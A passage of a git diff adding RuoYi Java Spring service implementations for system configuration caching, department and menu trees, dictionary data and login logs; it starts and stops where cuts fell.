b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysConfigServiceImpl.java @@ -0,0 +1,232 @@ +package com.ruoyi.system.service.impl; + +import java.util.Collection; +import java.util.List; +import javax.annotation.PostConstruct; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.common.annotation.DataSource; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.core.text.Convert; +import com.ruoyi.common.enums.DataSourceType; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.domain.SysConfig; +import com.ruoyi.system.mapper.SysConfigMapper; +import com.ruoyi.system.service.ISysConfigService; + +/** + * 参数配置 服务层实现 + * + * @author ruoyi + */ +@Service +public class SysConfigServiceImpl implements ISysConfigService +{ + @Autowired + private SysConfigMapper configMapper; + + @Autowired + private RedisCache redisCache; + + /** + * 项目启动时,初始化参数到缓存 + */ + @PostConstruct + public void init() + { + loadingConfigCache(); + } + + /** + * 查询参数配置信息 + * + * @param configId 参数配置ID + * @return 参数配置信息 + */ + @Override + @DataSource(DataSourceType.MASTER) + public SysConfig selectConfigById(Long configId) + { + SysConfig config = new SysConfig(); + config.setConfigId(configId); + return configMapper.selectConfig(config); + } + + /** + * 根据键名查询参数配置信息 + * + * @param configKey 参数key + * @return 参数键值 + */ + @Override + public String selectConfigByKey(String configKey) + { + String configValue = Convert.toStr(redisCache.getCacheObject(getCacheKey(configKey))); + if (StringUtils.isNotEmpty(configValue)) + { + return configValue; + } + SysConfig config = new SysConfig(); + config.setConfigKey(configKey); + SysConfig retConfig = configMapper.selectConfig(config); + if (StringUtils.isNotNull(retConfig)) + { + redisCache.setCacheObject(getCacheKey(configKey), retConfig.getConfigValue()); + return retConfig.getConfigValue(); + } + return StringUtils.EMPTY; + } + + /** + * 获取验证码开关 + * + * @return true开启,false关闭 + */ + @Override + public boolean selectCaptchaEnabled() + { + String captchaEnabled = selectConfigByKey("sys.account.captchaEnabled"); + if (StringUtils.isEmpty(captchaEnabled)) + { + return true; + } + return Convert.toBool(captchaEnabled); + } + + /** + * 查询参数配置列表 + * + * @param config 参数配置信息 + * @return 参数配置集合 + */ + @Override + public List selectConfigList(SysConfig config) + { + return configMapper.selectConfigList(config); + } + + /** + * 新增参数配置 + * + * @param config 参数配置信息 + * @return 结果 + */ + @Override + public int insertConfig(SysConfig config) + { + int row = configMapper.insertConfig(config); + if (row > 0) + { + redisCache.setCacheObject(getCacheKey(config.getConfigKey()), config.getConfigValue()); + } + return row; + } + + /** + * 修改参数配置 + * + * @param config 参数配置信息 + * @return 结果 + */ + @Override + public int updateConfig(SysConfig config) + { + SysConfig temp = configMapper.selectConfigById(config.getConfigId()); + if (!StringUtils.equals(temp.getConfigKey(), config.getConfigKey())) + { + redisCache.deleteObject(getCacheKey(temp.getConfigKey())); + } + + int row = configMapper.updateConfig(config); + if (row > 0) + { + redisCache.setCacheObject(getCacheKey(config.getConfigKey()), config.getConfigValue()); + } + return row; + } + + /** + * 批量删除参数信息 + * + * @param configIds 需要删除的参数ID + */ + @Override + public void deleteConfigByIds(Long[] configIds) + { + for (Long configId : configIds) + { + SysConfig config = selectConfigById(configId); + if (StringUtils.equals(UserConstants.YES, config.getConfigType())) + { + throw new ServiceException(String.format("内置参数【%1$s】不能删除 ", config.getConfigKey())); + } + configMapper.deleteConfigById(configId); + redisCache.deleteObject(getCacheKey(config.getConfigKey())); + } + } + + /** + * 加载参数缓存数据 + */ + @Override + public void loadingConfigCache() + { + List configsList = configMapper.selectConfigList(new SysConfig()); + for (SysConfig config : configsList) + { + redisCache.setCacheObject(getCacheKey(config.getConfigKey()), config.getConfigValue()); + } + } + + /** + * 清空参数缓存数据 + */ + @Override + public void clearConfigCache() + { + Collection keys = redisCache.keys(CacheConstants.SYS_CONFIG_KEY + "*"); + redisCache.deleteObject(keys); + } + + /** + * 重置参数缓存数据 + */ + @Override + public void resetConfigCache() + { + clearConfigCache(); + loadingConfigCache(); + } + + /** + * 校验参数键名是否唯一 + * + * @param config 参数配置信息 + * @return 结果 + */ + @Override + public boolean checkConfigKeyUnique(SysConfig config) + { + Long configId = StringUtils.isNull(config.getConfigId()) ? -1L : config.getConfigId(); + SysConfig info = configMapper.checkConfigKeyUnique(config.getConfigKey()); + if (StringUtils.isNotNull(info) && info.getConfigId().longValue() != configId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 设置cache key + * + * @param configKey 参数键 + * @return 缓存键key + */ + private String getCacheKey(String configKey) + { + return CacheConstants.SYS_CONFIG_KEY + configKey; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDeptServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDeptServiceImpl.java new file mode 100644 index 0000000..f7fb088 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDeptServiceImpl.java @@ -0,0 +1,338 @@ +package com.ruoyi.system.service.impl; + +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.stream.Collectors; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.common.annotation.DataScope; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.domain.TreeSelect; +import com.ruoyi.common.core.domain.entity.SysDept; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.text.Convert; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.spring.SpringUtils; +import com.ruoyi.system.mapper.SysDeptMapper; +import com.ruoyi.system.mapper.SysRoleMapper; +import com.ruoyi.system.service.ISysDeptService; + +/** + * 部门管理 服务实现 + * + * @author ruoyi + */ +@Service +public class SysDeptServiceImpl implements ISysDeptService +{ + @Autowired + private SysDeptMapper deptMapper; + + @Autowired + private SysRoleMapper roleMapper; + + /** + * 查询部门管理数据 + * + * @param dept 部门信息 + * @return 部门信息集合 + */ + @Override + @DataScope(deptAlias = "d") + public List selectDeptList(SysDept dept) + { + return deptMapper.selectDeptList(dept); + } + + /** + * 查询部门树结构信息 + * + * @param dept 部门信息 + * @return 部门树信息集合 + */ + @Override + public List selectDeptTreeList(SysDept dept) + { + List depts = SpringUtils.getAopProxy(this).selectDeptList(dept); + return buildDeptTreeSelect(depts); + } + + /** + * 构建前端所需要树结构 + * + * @param depts 部门列表 + * @return 树结构列表 + */ + @Override + public List buildDeptTree(List depts) + { + List returnList = new ArrayList(); + List tempList = depts.stream().map(SysDept::getDeptId).collect(Collectors.toList()); + for (SysDept dept : depts) + { + // 如果是顶级节点, 遍历该父节点的所有子节点 + if (!tempList.contains(dept.getParentId())) + { + recursionFn(depts, dept); + returnList.add(dept); + } + } + if (returnList.isEmpty()) + { + returnList = depts; + } + return returnList; + } + + /** + * 构建前端所需要下拉树结构 + * + * @param depts 部门列表 + * @return 下拉树结构列表 + */ + @Override + public List buildDeptTreeSelect(List depts) + { + List deptTrees = buildDeptTree(depts); + return deptTrees.stream().map(TreeSelect::new).collect(Collectors.toList()); + } + + /** + * 根据角色ID查询部门树信息 + * + * @param roleId 角色ID + * @return 选中部门列表 + */ + @Override + public List selectDeptListByRoleId(Long roleId) + { + SysRole role = roleMapper.selectRoleById(roleId); + return deptMapper.selectDeptListByRoleId(roleId, role.isDeptCheckStrictly()); + } + + /** + * 根据部门ID查询信息 + * + * @param deptId 部门ID + * @return 部门信息 + */ + @Override + public SysDept selectDeptById(Long deptId) + { + return deptMapper.selectDeptById(deptId); + } + + /** + * 根据ID查询所有子部门(正常状态) + * + * @param deptId 部门ID + * @return 子部门数 + */ + @Override + public int selectNormalChildrenDeptById(Long deptId) + { + return deptMapper.selectNormalChildrenDeptById(deptId); + } + + /** + * 是否存在子节点 + * + * @param deptId 部门ID + * @return 结果 + */ + @Override + public boolean hasChildByDeptId(Long deptId) + { + int result = deptMapper.hasChildByDeptId(deptId); + return result > 0; + } + + /** + * 查询部门是否存在用户 + * + * @param deptId 部门ID + * @return 结果 true 存在 false 不存在 + */ + @Override + public boolean checkDeptExistUser(Long deptId) + { + int result = deptMapper.checkDeptExistUser(deptId); + return result > 0; + } + + /** + * 校验部门名称是否唯一 + * + * @param dept 部门信息 + * @return 结果 + */ + @Override + public boolean checkDeptNameUnique(SysDept dept) + { + Long deptId = StringUtils.isNull(dept.getDeptId()) ? -1L : dept.getDeptId(); + SysDept info = deptMapper.checkDeptNameUnique(dept.getDeptName(), dept.getParentId()); + if (StringUtils.isNotNull(info) && info.getDeptId().longValue() != deptId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 校验部门是否有数据权限 + * + * @param deptId 部门id + */ + @Override + public void checkDeptDataScope(Long deptId) + { + if (!SysUser.isAdmin(SecurityUtils.getUserId())) + { + SysDept dept = new SysDept(); + dept.setDeptId(deptId); + List depts = SpringUtils.getAopProxy(this).selectDeptList(dept); + if (StringUtils.isEmpty(depts)) + { + throw new ServiceException("没有权限访问部门数据!"); + } + } + } + + /** + * 新增保存部门信息 + * + * @param dept 部门信息 + * @return 结果 + */ + @Override + public int insertDept(SysDept dept) + { + SysDept info = deptMapper.selectDeptById(dept.getParentId()); + // 如果父节点不为正常状态,则不允许新增子节点 + if (!UserConstants.DEPT_NORMAL.equals(info.getStatus())) + { + throw new ServiceException("部门停用,不允许新增"); + } + dept.setAncestors(info.getAncestors() + "," + dept.getParentId()); + return deptMapper.insertDept(dept); + } + + /** + * 修改保存部门信息 + * + * @param dept 部门信息 + * @return 结果 + */ + @Override + public int updateDept(SysDept dept) + { + SysDept newParentDept = deptMapper.selectDeptById(dept.getParentId()); + SysDept oldDept = deptMapper.selectDeptById(dept.getDeptId()); + if (StringUtils.isNotNull(newParentDept) && StringUtils.isNotNull(oldDept)) + { + String newAncestors = newParentDept.getAncestors() + "," + newParentDept.getDeptId(); + String oldAncestors = oldDept.getAncestors(); + dept.setAncestors(newAncestors); + updateDeptChildren(dept.getDeptId(), newAncestors, oldAncestors); + } + int result = deptMapper.updateDept(dept); + if (UserConstants.DEPT_NORMAL.equals(dept.getStatus()) && StringUtils.isNotEmpty(dept.getAncestors()) + && !StringUtils.equals("0", dept.getAncestors())) + { + // 如果该部门是启用状态,则启用该部门的所有上级部门 + updateParentDeptStatusNormal(dept); + } + return result; + } + + /** + * 修改该部门的父级部门状态 + * + * @param dept 当前部门 + */ + private void updateParentDeptStatusNormal(SysDept dept) + { + String ancestors = dept.getAncestors(); + Long[] deptIds = Convert.toLongArray(ancestors); + deptMapper.updateDeptStatusNormal(deptIds); + } + + /** + * 修改子元素关系 + * + * @param deptId 被修改的部门ID + * @param newAncestors 新的父ID集合 + * @param oldAncestors 旧的父ID集合 + */ + public void updateDeptChildren(Long deptId, String newAncestors, String oldAncestors) + { + List children = deptMapper.selectChildrenDeptById(deptId); + for (SysDept child : children) + { + child.setAncestors(child.getAncestors().replaceFirst(oldAncestors, newAncestors)); + } + if (children.size() > 0) + { + deptMapper.updateDeptChildren(children); + } + } + + /** + * 删除部门管理信息 + * + * @param deptId 部门ID + * @return 结果 + */ + @Override + public int deleteDeptById(Long deptId) + { + return deptMapper.deleteDeptById(deptId); + } + + /** + * 递归列表 + */ + private void recursionFn(List list, SysDept t) + { + // 得到子节点列表 + List childList = getChildList(list, t); + t.setChildren(childList); + for (SysDept tChild : childList) + { + if (hasChild(list, tChild)) + { + recursionFn(list, tChild); + } + } + } + + /** + * 得到子节点列表 + */ + private List getChildList(List list, SysDept t) + { + List tlist = new ArrayList(); + Iterator it = list.iterator(); + while (it.hasNext()) + { + SysDept n = (SysDept) it.next(); + if (StringUtils.isNotNull(n.getParentId()) && n.getParentId().longValue() == t.getDeptId().longValue()) + { + tlist.add(n); + } + } + return tlist; + } + + /** + * 判断是否有子节点 + */ + private boolean hasChild(List list, SysDept t) + { + return getChildList(list, t).size() > 0; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDictDataServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDictDataServiceImpl.java new file mode 100644 index 0000000..535d827 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDictDataServiceImpl.java @@ -0,0 +1,121 @@ +package com.ruoyi.system.service.impl; + +import java.util.List; + +import com.ruoyi.common.utils.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.utils.DictUtils; +import com.ruoyi.system.mapper.SysDictDataMapper; +import com.ruoyi.system.service.ISysDictDataService; + +/** + * 字典 业务层处理 + * + * @author ruoyi + */ +@Service +public class SysDictDataServiceImpl implements ISysDictDataService +{ + @Autowired + private SysDictDataMapper dictDataMapper; + + /** + * 根据条件分页查询字典数据 + * + * @param dictData 字典数据信息 + * @return 字典数据集合信息 + */ + @Override + public List selectDictDataList(SysDictData dictData) + { + return dictDataMapper.selectDictDataList(dictData); + } + + /** + * 根据字典类型和字典键值查询字典数据信息 + * + * @param dictType 字典类型 + * @param dictValue 字典键值 + * @return 字典标签 + */ + @Override + public String selectDictLabel(String dictType, String dictValue) + { + return dictDataMapper.selectDictLabel(dictType, dictValue); + } + + /** + * 根据字典数据ID查询信息 + * + * @param dictCode 字典数据ID + * @return 字典数据 + */ + @Override + public SysDictData selectDictDataById(Long dictCode) + { + return dictDataMapper.selectDictDataById(dictCode); + } + + /** + * 批量删除字典数据信息 + * + * @param dictCodes 需要删除的字典数据ID + */ + @Override + public void deleteDictDataByIds(Long[] dictCodes) + { + for (Long dictCode : dictCodes) + { + SysDictData data = selectDictDataById(dictCode); + dictDataMapper.deleteDictDataById(dictCode); + List dictDatas = dictDataMapper.selectDictDataByType(data.getDictType()); + DictUtils.setDictCache(data.getDictType(), dictDatas); + } + } + + /** + * 新增保存字典数据信息 + * + * @param data 字典数据信息 + * @return 结果 + */ + @Override + public int insertDictData(SysDictData data) + { + String isDefault = data.getIsDefault(); + if (StringUtils.isNotEmpty(isDefault) && isDefault.equals("Y")){ + dictDataMapper.updateDictDataByIsDefault(data); + } + int row = dictDataMapper.insertDictData(data); + if (row > 0) + { + List dictDatas = dictDataMapper.selectDictDataByType(data.getDictType()); + DictUtils.setDictCache(data.getDictType(), dictDatas); + } + return row; + } + + /** + * 修改保存字典数据信息 + * + * @param data 字典数据信息 + * @return 结果 + */ + @Override + public int updateDictData(SysDictData data) + { + String isDefault = data.getIsDefault(); + if (StringUtils.isNotEmpty(isDefault) && isDefault.equals("Y")){ + dictDataMapper.updateDictDataByIsDefault(data); + } + int row = dictDataMapper.updateDictData(data); + if (row > 0) + { + List dictDatas = dictDataMapper.selectDictDataByType(data.getDictType()); + DictUtils.setDictCache(data.getDictType(), dictDatas); + } + return row; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDictTypeServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDictTypeServiceImpl.java new file mode 100644 index 0000000..7fd9654 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDictTypeServiceImpl.java @@ -0,0 +1,223 @@ +package com.ruoyi.system.service.impl; + +import java.util.Comparator; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; +import javax.annotation.PostConstruct; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.core.domain.entity.SysDictType; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.DictUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.mapper.SysDictDataMapper; +import com.ruoyi.system.mapper.SysDictTypeMapper; +import com.ruoyi.system.service.ISysDictTypeService; + +/** + * 字典 业务层处理 + * + * @author ruoyi + */ +@Service +public class SysDictTypeServiceImpl implements ISysDictTypeService +{ + @Autowired + private SysDictTypeMapper dictTypeMapper; + + @Autowired + private SysDictDataMapper dictDataMapper; + + /** + * 项目启动时,初始化字典到缓存 + */ + @PostConstruct + public void init() + { + loadingDictCache(); + } + + /** + * 根据条件分页查询字典类型 + * + * @param dictType 字典类型信息 + * @return 字典类型集合信息 + */ + @Override + public List selectDictTypeList(SysDictType dictType) + { + return dictTypeMapper.selectDictTypeList(dictType); + } + + /** + * 根据所有字典类型 + * + * @return 字典类型集合信息 + */ + @Override + public List selectDictTypeAll() + { + return dictTypeMapper.selectDictTypeAll(); + } + + /** + * 根据字典类型查询字典数据 + * + * @param dictType 字典类型 + * @return 字典数据集合信息 + */ + @Override + public List selectDictDataByType(String dictType) + { + List dictDatas = DictUtils.getDictCache(dictType); + if (StringUtils.isNotEmpty(dictDatas)) + { + return dictDatas; + } + dictDatas = dictDataMapper.selectDictDataByType(dictType); + if (StringUtils.isNotEmpty(dictDatas)) + { + DictUtils.setDictCache(dictType, dictDatas); + return dictDatas; + } + return null; + } + + /** + * 根据字典类型ID查询信息 + * + * @param dictId 字典类型ID + * @return 字典类型 + */ + @Override + public SysDictType selectDictTypeById(Long dictId) + { + return dictTypeMapper.selectDictTypeById(dictId); + } + + /** + * 根据字典类型查询信息 + * + * @param dictType 字典类型 + * @return 字典类型 + */ + @Override + public SysDictType selectDictTypeByType(String dictType) + { + return dictTypeMapper.selectDictTypeByType(dictType); + } + + /** + * 批量删除字典类型信息 + * + * @param dictIds 需要删除的字典ID + */ + @Override + public void deleteDictTypeByIds(Long[] dictIds) + { + for (Long dictId : dictIds) + { + SysDictType dictType = selectDictTypeById(dictId); + if (dictDataMapper.countDictDataByType(dictType.getDictType()) > 0) + { + throw new ServiceException(String.format("%1$s已分配,不能删除", dictType.getDictName())); + } + dictTypeMapper.deleteDictTypeById(dictId); + DictUtils.removeDictCache(dictType.getDictType()); + } + } + + /** + * 加载字典缓存数据 + */ + @Override + public void loadingDictCache() + { + SysDictData dictData = new SysDictData(); + dictData.setStatus("0"); + Map> dictDataMap = dictDataMapper.selectDictDataList(dictData).stream().collect(Collectors.groupingBy(SysDictData::getDictType)); + for (Map.Entry> entry : dictDataMap.entrySet()) + { + DictUtils.setDictCache(entry.getKey(), entry.getValue().stream().sorted(Comparator.comparing(SysDictData::getDictSort)).collect(Collectors.toList())); + } + } + + /** + * 清空字典缓存数据 + */ + @Override + public void clearDictCache() + { + DictUtils.clearDictCache(); + } + + /** + * 重置字典缓存数据 + */ + @Override + public void resetDictCache() + { + clearDictCache(); + loadingDictCache(); + } + + /** + * 新增保存字典类型信息 + * + * @param dict 字典类型信息 + * @return 结果 + */ + @Override + public int insertDictType(SysDictType dict) + { + int row = dictTypeMapper.insertDictType(dict); + if (row > 0) + { + DictUtils.setDictCache(dict.getDictType(), null); + } + return row; + } + + /** + * 修改保存字典类型信息 + * + * @param dict 字典类型信息 + * @return 结果 + */ + @Override + @Transactional + public int updateDictType(SysDictType dict) + { + SysDictType oldDict = dictTypeMapper.selectDictTypeById(dict.getDictId()); + dictDataMapper.updateDictDataType(oldDict.getDictType(), dict.getDictType()); + int row = dictTypeMapper.updateDictType(dict); + if (row > 0) + { + List dictDatas = dictDataMapper.selectDictDataByType(dict.getDictType()); + DictUtils.setDictCache(dict.getDictType(), dictDatas); + } + return row; + } + + /** + * 校验字典类型称是否唯一 + * + * @param dict 字典类型 + * @return 结果 + */ + @Override + public boolean checkDictTypeUnique(SysDictType dict) + { + Long dictId = StringUtils.isNull(dict.getDictId()) ? -1L : dict.getDictId(); + SysDictType dictType = dictTypeMapper.checkDictTypeUnique(dict.getDictType()); + if (StringUtils.isNotNull(dictType) && dictType.getDictId().longValue() != dictId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysLogininforServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysLogininforServiceImpl.java new file mode 100644 index 0000000..216aecb --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysLogininforServiceImpl.java @@ -0,0 +1,65 @@ +package com.ruoyi.system.service.impl; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.system.domain.SysLogininfor; +import com.ruoyi.system.mapper.SysLogininforMapper; +import com.ruoyi.system.service.ISysLogininforService; + +/** + * 系统访问日志情况信息 服务层处理 + * + * @author ruoyi + */ +@Service +public class SysLogininforServiceImpl implements ISysLogininforService +{ + + @Autowired + private SysLogininforMapper logininforMapper; + + /** + * 新增系统登录日志 + * + * @param logininfor 访问日志对象 + */ + @Override + public void insertLogininfor(SysLogininfor logininfor) + { + logininforMapper.insertLogininfor(logininfor); + } + + /** + * 查询系统登录日志集合 + * + * @param logininfor 访问日志对象 + * @return 登录记录集合 + */ + @Override + public List selectLogininforList(SysLogininfor logininfor) + { + return logininforMapper.selectLogininforList(logininfor); + } + + /** + * 批量删除系统登录日志 + * + * @param infoIds 需要删除的登录日志ID + * @return 结果 + */ + @Override + public int deleteLogininforByIds(Long[] infoIds) + { + return logininforMapper.deleteLogininforByIds(infoIds); + } + + /** + * 清空系统登录日志 + */ + @Override + public void cleanLogininfor() + { + logininforMapper.cleanLogininfor(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysMenuServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysMenuServiceImpl.java new file mode 100644 index 0000000..225c280 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysMenuServiceImpl.java @@ -0,0 +1,531 @@ +package com.ruoyi.system.service.impl; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashSet; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.Set; +import java.util.stream.Collectors; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.domain.TreeSelect; +import com.ruoyi.common.core.domain.entity.SysMenu; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.domain.vo.MetaVo; +import com.ruoyi.system.domain.vo.RouterVo; +import com.ruoyi.system.mapper.SysMenuMapper; +import com.ruoyi.system.mapper.SysRoleMapper; +import com.ruoyi.system.mapper.SysRoleMenuMapper; +import com.ruoyi.system.service.ISysMenuService; + +/** + * 菜单 业务层处理 + * + * @author ruoyi + */ +@Service +public class SysMenuServiceImpl implements ISysMenuService +{ + public static final String PREMISSION_STRING = "perms[\"{0}\"]"; + + @Autowired + private SysMenuMapper menuMapper; + + @Autowired + private SysRoleMapper roleMapper; + + @Autowired + private SysRoleMenuMapper roleMenuMapper; + + /** + * 根据用户查询系统菜单列表 + * + * @param userId 用户ID + * @return 菜单列表 + */ + @Override + public List selectMenuList(Long userId) + { + return selectMenuList(new SysMenu(), userId); + } + + /** + * 查询系统菜单列表 + * + * @param menu 菜单信息 + * @return 菜单列表 + */ + @Override + public List selectMenuList(SysMenu menu, Long userId) + { + List menuList = null; + // 管理员显示所有菜单信息 + if (SysUser.isAdmin(userId)) + { + menuList = menuMapper.selectMenuList(menu); + } + else + { + menu.getParams().put("userId", userId); + menuList = menuMapper.selectMenuListByUserId(menu); + } + return menuList; + } + + /** + * 根据用户ID查询权限 + * + * @param userId 用户ID + * @return 权限列表 + */ + @Override + public Set selectMenuPermsByUserId(Long userId) + { + List perms = menuMapper.selectMenuPermsByUserId(userId); + Set permsSet = new HashSet<>(); + for (String perm : perms) + { + if (StringUtils.isNotEmpty(perm)) + { + permsSet.addAll(Arrays.asList(perm.trim().split(","))); + } + } + return permsSet; + } + + /** + * 根据角色ID查询权限 + * + * @param roleId 角色ID + * @return 权限列表 + */ + @Override + public Set selectMenuPermsByRoleId(Long roleId) + { + List perms = menuMapper.selectMenuPermsByRoleId(roleId); + Set permsSet = new HashSet<>(); + for (String perm : perms) + { + if (StringUtils.isNotEmpty(perm)) + { + permsSet.addAll(Arrays.asList(perm.trim().split(","))); + } + } + return permsSet; + } + + /** + * 根据用户ID查询菜单 + * + * @param userId 用户名称 + * @return 菜单列表 + */ + @Override + public List selectMenuTreeByUserId(Long userId) + { + List menus = null; + if (SecurityUtils.isAdmin(userId)) + { + menus = menuMapper.selectMenuTreeAll(); + } + else + { + menus = menuMapper.selectMenuTreeByUserId(userId); + } + return getChildPerms(menus, 0); + } + + /** + * 根据角色ID查询菜单树信息 + * + * @param roleId 角色ID + * @return 选中菜单列表 + */ + @Override + public List selectMenuListByRoleId(Long roleId) + { + SysRole role = roleMapper.selectRoleById(roleId); + return menuMapper.selectMenuListByRoleId(roleId, role.isMenuCheckStrictly()); + } + + /** + * 构建前端路由所需要的菜单 + * + * @param menus 菜单列表 + * @return 路由列表 + */ + @Override + public List buildMenus(List menus) + { + List routers = new LinkedList(); + for (SysMenu menu : menus) + { + RouterVo router = new RouterVo(); + router.setHidden("1".equals(menu.getVisible())); + router.setName(getRouteName(menu)); + router.setPath(getRouterPath(menu)); + router.setComponent(getComponent(menu)); + router.setQuery(menu.getQuery()); + router.setMeta(new MetaVo(menu.getMenuName(), menu.getIcon(), StringUtils.equals("1", menu.getIsCache()), menu.getPath())); + List cMenus = menu.getChildren(); + if (StringUtils.isNotEmpty(cMenus) && UserConstants.TYPE_DIR.equals(menu.getMenuType())) + { + router.setAlwaysShow(true); + router.setRedirect("noRedirect"); + router.setChildren(buildMenus(cMenus)); + } + else if (isMenuFrame(menu)) + { + router.setMeta(null); + List childrenList = new ArrayList(); + RouterVo children = new RouterVo(); + children.setPath(menu.getPath()); + children.setComponent(menu.getComponent()); + children.setName(StringUtils.capitalize(menu.getPath())); + children.setMeta(new MetaVo(menu.getMenuName(), menu.getIcon(), StringUtils.equals("1", menu.getIsCache()), menu.getPath())); + children.setQuery(menu.getQuery()); + childrenList.add(children); + router.setChildren(childrenList); + } + else if (menu.getParentId().intValue() == 0 && isInnerLink(menu)) + { + router.setMeta(new MetaVo(menu.getMenuName(), menu.getIcon())); + router.setPath("/"); + List childrenList = new ArrayList(); + RouterVo children = new RouterVo(); + String routerPath = innerLinkReplaceEach(menu.getPath()); + children.setPath(routerPath); + children.setComponent(UserConstants.INNER_LINK); + children.setName(StringUtils.capitalize(routerPath)); + children.setMeta(new MetaVo(menu.getMenuName(), menu.getIcon(), menu.getPath())); + childrenList.add(children); + router.setChildren(childrenList); + } + routers.add(router); + } + return routers; + } + + /** + * 构建前端所需要树结构 + * + * @param menus 菜单列表 + * @return 树结构列表 + */ + @Override + public List buildMenuTree(List menus) + { + List returnList = new ArrayList(); + List tempList = menus.stream().map(SysMenu::getMenuId).collect(Collectors.toList()); + for (Iterator iterator = menus.iterator(); iterator.hasNext();) + { + SysMenu menu = (SysMenu) iterator.next(); + // 如果是顶级节点, 遍历该父节点的所有子节点 + if (!tempList.contains(menu.getParentId())) + { + recursionFn(menus, menu); + returnList.add(menu); + } + } + if (returnList.isEmpty()) + { + returnList = menus; + } + return returnList; + } + + /** + * 构建前端所需要下拉树结构 + * + * @param menus 菜单列表 + * @return 下拉树结构列表 + */ + @Override + public List buildMenuTreeSelect(List menus) + { + List menuTrees = buildMenuTree(menus); + return menuTrees.stream().map(TreeSelect::new).collect(Collectors.toList()); + } + + /** + * 根据菜单ID查询信息 + * + * @param menuId 菜单ID + * @return 菜单信息 + */ + @Override + public SysMenu selectMenuById(Long menuId) + { + return menuMapper.selectMenuById(menuId); + } + + /** + * 是否存在菜单子节点 + * + * @param menuId 菜单ID + * @return 结果 + */ + @Override + public boolean hasChildByMenuId(Long menuId) + { + int result = menuMapper.hasChildByMenuId(menuId); + return result > 0; + } + + /** + * 查询菜单使用数量 + * + * @param menuId 菜单ID + * @return 结果 + */ + @Override + public boolean checkMenuExistRole(Long menuId) + { + int result = roleMenuMapper.checkMenuExistRole(menuId); + return result > 0; + } + + /** + * 新增保存菜单信息 + * + * @param menu 菜单信息 + * @return 结果 + */ + @Override + public int insertMenu(SysMenu menu) + { + return menuMapper.insertMenu(menu); + } + + /** + * 修改保存菜单信息 + * + * @param menu 菜单信息 + * @return 结果 + */ + @Override + public int updateMenu(SysMenu menu) + { + return menuMapper.updateMenu(menu); + } + + /** + * 删除菜单管理信息 + * + * @param menuId 菜单ID + * @return 结果 + */ + @Override + public int deleteMenuById(Long menuId) + { + return menuMapper.deleteMenuById(menuId); + } + + /** + * 校验菜单名称是否唯一 + * + * @param menu 菜单信息 + * @return 结果 + */ + @Override + public boolean checkMenuNameUnique(SysMenu menu) + { + Long menuId = StringUtils.isNull(menu.getMenuId()) ? -1L : menu.getMenuId(); + SysMenu info = menuMapper.checkMenuNameUnique(menu.getMenuName(), menu.getParentId()); + if (StringUtils.isNotNull(info) && info.getMenuId().longValue() != menuId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 获取路由名称 + * + * @param menu 菜单信息 + * @return 路由名称 + */ + public String getRouteName(SysMenu menu) + { + String routerName = StringUtils.capitalize(menu.getPath()); + // 非外链并且是一级目录(类型为目录) + if (isMenuFrame(menu)) + { + routerName = StringUtils.EMPTY; + } + return routerName; + } + + /** + * 